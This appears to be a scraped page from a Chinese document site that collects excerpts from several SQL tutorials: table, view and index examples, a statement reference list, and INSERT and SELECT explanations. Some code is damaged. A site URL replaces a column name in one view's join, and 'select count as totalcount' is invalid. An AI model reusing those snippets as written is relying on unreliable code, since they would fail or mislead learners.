SQL语句实例 表操作 例 1 对于表的教学管理数据库中的表STUDENTS ,可以定义如下:CREATE TABLE STUDENTS (SNO NUMERIC (6, 0) NOT NULL SNAME CHAR (8) NOT NULL AGE NUMERIC(3,0) SEX CHAR(2) BPLACE CHAR(20) PRIMARY KEY(SNO)) 例 2 对于表的教学管理数据库中的表ENROLLS ,可以定义如下: CREATE TABLE ENROLLS (SNO NUMERIC(6,0) NOT NULL CNO CHAR(4) NOT NULL GRADE INT PRIMARY KEY(SNO,CNO) FOREIGN KEY(SNO) REFERENCES STUDENTS(SNO) FOREIGN KEY(CNO) REFERENCES COURSES(CNO) CHECK ((GRADE IS NULL) OR (GRADE BETWEEN 0 AND 100))) 例 3 根据表的STUDENTS 表,建立一个只包含学号、姓名、年龄的女学生表。 CREATE TABLE GIRL

AS SELECT SNO, SNAME, AGE FROM STUDENTS WHERE SEX=' 女'; 例 4 删除教师表TEACHER 。 DROP TABLE TEACHER 例 5 在教师表中增加住址列。 ALTER TABLE TEACHERS ADD (ADDR CHAR(50)) 例 6 把STUDENTS 表中的BPLACE 列删除,并且把引用BPLACE 列的所有视图和约束也一起删除。 ALTER TABLE STUDENTS DROP BPLACE CASCADE 例7 补充定义ENROLLS 表的主关键字。 ALTER TABLE ENROLLS ADD PRIMARY KEY (SNO,CNO) ; 视图操作(虚表) 例9 建立一个只包括教师号、姓名和年龄的视图FACULTY 。( 在视图定义中不能包含ORDER BY 子句) CREATE VIEW FACULTY AS SELECT TNO, TNAME, AGE FROM TEACHERS 例10 从学生表、课程表和选课表中产生一个视图GRADE_TABLE ,它包括学生姓名、课程名和成绩。 CREATE VIEW GRADE_TABLE AS SELECT SNAME,CNAME,GRADE FROM STUDENTS,COURSES,ENROLLS WHERE STUDENTS.SNO =ENROLLS.SNO AND https://www.wendangku.net/doc/e113814293.html,O=https://www.wendangku.net/doc/e113814293.html,O 例11 删除视图GRADE_TABLE DROP VIEW GRADE_TABLE RESTRICT 索引操作 例12 在学生表中按学号建立索引。 CREATE UNIQUE INDEX ST ON STUDENTS (SNO,ASC) 例13 删除按学号所建立的索引。 DROP INDEX ST 数据库模式操作

数据库SQL语句大全

SQL语句大全--语句功能 --数据操作 SELECT --从数据库表中检索数据行和列 INSERT --向数据库表添加新数据行 DELETE --从数据库表中删除数据行 UPDATE --更新数据库表中的数据 -数据定义 CREATE TABLE --创建一个数据库表 DROP TABLE --从数据库中删除表 ALTER TABLE --修改数据库表结构 CREATE VIEW --创建一个视图 DROP VIEW --从数据库中删除视图 CREATE INDEX --为数据库表创建一个索引 DROP INDEX --从数据库中删除索引 CREATE PROCEDURE --创建一个存储过程 DROP PROCEDURE --从数据库中删除存储过程CREATE TRIGGER --创建一个触发器 DROP TRIGGER --从数据库中删除触发器 CREATE SCHEMA --向数据库添加一个新模式DROP SCHEMA --从数据库中删除一个模式CREATE DOMAIN --创建一个数据值域 ALTER DOMAIN --改变域定义 DROP DOMAIN --从数据库中删除一个域 --数据控制 GRANT --授予用户访问权限 DENY --拒绝用户访问 REVOKE --解除用户访问权限 --事务控制 COMMIT --结束当前事务 ROLLBACK --中止当前事务 SET TRANSACTION --定义当前事务数据访问特征 --程序化SQL DECLARE --为查询设定游标 EXPLAN --为查询描述数据访问计划 OPEN --检索查询结果打开一个游标

oracle 经典SQL语句大全

一、基础 1、说明:创建数据库 CREATE DATABASE database-name 2、说明:删除数据库 drop database dbname 3、说明:备份sql server --- 创建备份数据的 device USE master EXEC sp_addumpdevice 'disk', 'testBack', 'c:\mssql7backup\MyNwind_1. dat' --- 开始备份 BACKUP DATABASE pubs TO testBack 4、说明:创建新表 create table tabname(col1 type1 [not null] [primary key],col2 type2 [not null],..) 根据已有的表创建新表: A:create table tab_new like tab_old (使用旧表创建新表) B:create table tab_new as select col1,col2… from tab_old definition only 5、说明:删除新表 drop table tabname 6、说明:增加一个列 Alter table tabname add column col type 注:列增加后将不能删除。DB2中列加上后数据类型也不能改变,唯一能改变的是增加varchar类型的长度。 7、说明:添加主键:Alter table tabname add primary key(col) 说明:删除主键: Alter table tabname drop primary key(col) 8、说明:创建索引:create [unique] index idxname on tabname(col….) 删除索引:drop index idxname 注:索引是不可更改的,想更改必须删除重新建。 9、说明:创建视图:create view viewname as select statement 删除视图:drop view viewname 10、说明:几个简单的基本的sql语句 选择:select * from table1 where 范围 插入:insert into table1(field1,field2) values(value1,value2) 删除:delete from table1 where 范围 更新:update table1 set field1=value1 where 范围 查找:select * from table1 where field1 like ’%value1%’ ---like的语法很精妙,查资料! 排序:select * from table1 order by field1,field2 [desc] 总数:select count as totalcount from table1

SQL基本语句诠释

SQL基本语句 来自:SQL编程技巧 掌握SQL四条最基本的数据操作语句:Insert,Select,Update和Delete。 练掌握SQL是数据库用户的宝贵财富。在本文中,我们将引导你掌握四条最基本的数据库操作语句—SQL的核心功能—来依次介绍比较操作符、选择谓项以及三值逻辑。当你完成这些学习后,显然你已经开始算是精通SQL了。 在我们开始之前,先使用CREATE TABLE语句来创建一个表(如图1所示)。DDL语句对数据库对象如表、列和视进行定义。它们并不对表中的行进行处理,这是因为DDL语句并不处理数据库中实际的数据。这些工作由另一类SQL语句—数据操作语言(DML)语句进行处理。 SQL中有四种基本的DML操作:INSERT,SELECT,UPDATE和DELETE。由于这是大多数SQL用户经常用到的,我们有必要在此对它们进行一一说明。在图1中我们给出了一个名为EMPLOYEES的表。其中的每一行对应一个特定的雇员记录。请熟悉这张表,我们在后面的例子中将要用到它。 INSERT语句 用户可以用INSERT语句将一行记录插入到指定的一个表中。例如,要将雇员John Smith的记录插入到本例的表中,可以使用如下语句:INSERT INTO EMPLOYEES VALUES ('Smith','John','1980-06-10', 'Los Angles',16,45000); 通过这样的INSERT语句,系统将试着将这些值填入到相应的列中。这些列按照我们创建表时定义的顺序排列。在本例中,第一个值“Smith”将填到第一个列LAST_NAME中;第二个值“John”将填到第二列FIRST_NAME中……以此类推。 我们说过系统会“试着”将值填入,除了执行规则之外它还要进行类型检查。如果类型不符(如将一个字符串填入到类型为数字的列中),系统将拒绝这一次操作并返回一个错误信息。 如果SQL拒绝了你所填入的一列值,语句中其他各列的值也不会填入。这是因为SQL提供对事务的支持。一次事务将数据库从一种一致性转移到另一种一致性。如果事务的某一部分失败,则整个事务都会失败,系统将会被恢复(或称之为回退)到此事务之前的状态。 回到原来的INSERT的例子,请注意所有的整形十进制数都不需要用单引号引起来,而字符串和日期类型的值都要用单引号来区别。为了增加可读性而在数字间插入逗号将会引起错误。记住,在SQL中逗号是元素的分隔符。 同样要注意输入文字值时要使用单引号。双引号用来封装限界标识符。 对于日期类型,我们必须使用SQL标准日期格式(yyyy-mm-dd),但是在系统中可以进行定义,以接受其他的格式。当然,2000年临近,请你最好还是使用四位来表示年份。 既然你已经理解了INSERT语句是怎样工作的了,让我们转到EMPLOYEES表中的其他部分: INSERT INTO EMPLOYEES VALUES ('Bunyan','Paul','1970-07-04', 'Boston',12,70000); INSERT INTO EMPLOYEES VALUES ('John','Adams','1992-01-21', 'Boston',20,100000); INSERT INTO EMPLOYEES VALUES ('Smith','Pocahontas','1976-04-06', 'Los Angles',12,100000); INSERT INTO EMPLOYEES VALUES ('Smith','Bessie','1940-05-02', 'Boston',5,200000); INSERT INTO EMPLOYEES VALUES ('Jones','Davy','1970-10-10', 'Boston',8,45000); INSERT INTO EMPLOYEES VALUES ('Jones','Indiana','1992-02-01', 'Chicago',NULL,NULL); 在最后一项中,我们不知道Jones先生的工薪级别和年薪,所以我们输入NULL(不要引号)。NULL是SQL中的一种特殊情况,我们以后将进行详细的讨论。现在我们只需认为NULL表示一种未知的值。 有时,像我们刚才所讨论的情况,我们可能希望对某一些而不是全部的列进行赋值。除了对要省略的列输入NULL外,还可以采用另外一种

SQL语句大全

SQL语句大全 正如大多数现代的关系语言一样,SQL 是基于记录关系微积分(TRC)的。结果是每个可以用记录关系微积分(TRC)表示的查询(相等地,或者是关系演算),同样也可以用SQL 表示。不过,还有一些超出关系演算或者微积分的能力。下面是一个SQL 提供的并非关系演算或者关系微积分的内容的一个列表:?插入,删除或者更改数据的命令。 ?算术能力:在SQL 里,我们可以和比较功能一样进行算术运算,例如 ? A < B + 3。 要注意+ 或者其他算术操作符从未在关系演算或者关系微积分里面出现过。 ?分配和打印命令:我们可以打印一条查询构造的关系以及给一个被计算的关系分配关系名。 ?聚集函数:象average,sum,max,等操作符可以应用于一个关系的列以获取单一的量。1.4.1. Select(选择) SQL 里面最常用的命令是SELECT 语句,用于检索数据。语法是: SELECT [ ALL | DISTINCT [ ON ( expression[, ...] ) ] ] * | expression[ AS output_name] [, ...] [ INTO [ TEMPORARY | TEMP ] [ TABLE ] new_table] [ FROM from_item[, ...] ] [ WHERE condition] [ GROUP BY expression[, ...] ] [ HAVING condition[, ...] ] [ { UNION | INTERSECT | EXCEPT [ ALL ] } select] [ ORDER BY expression[ ASC | DESC | USING operator] [, ...] ] [ FOR UPDATE [ OF class_name[, ...] ] ] [ LIMIT { count| ALL } [ { OFFSET | , } start]]

相关文档
相关文档 最新文档